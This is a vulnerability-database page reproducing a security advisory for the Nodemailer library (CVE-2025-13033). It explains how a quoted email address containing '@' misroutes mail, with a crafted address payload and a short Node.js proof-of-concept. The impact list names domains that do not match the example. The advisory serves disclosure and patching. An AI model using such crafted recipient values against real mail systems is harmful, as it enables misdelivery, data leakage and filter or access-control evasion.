GHSA-MM7P-FCC7-PG87

Vulnerability from github – Published: 2025-10-07 13:42 – Updated: 2025-11-17 17:29
VLAI
Summary
Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
Details

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Image

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-13033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T13:42:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: \u0027\"Test Sender\" \u003cyour_email@gmail.com\u003e\u0027, \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: \u0027\"xclow3n@gmail.com x\"@internal.domain\u0027,\n  local: \u0027\"xclow3n@gmail.com x\"\u0027,\n  domain: \u0027internal.domain\u0027\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
  "id": "GHSA-mm7p-fcc7-pg87",
  "modified": "2025-11-17T17:29:26Z",
  "published": "2025-10-07T13:42:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-13033"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…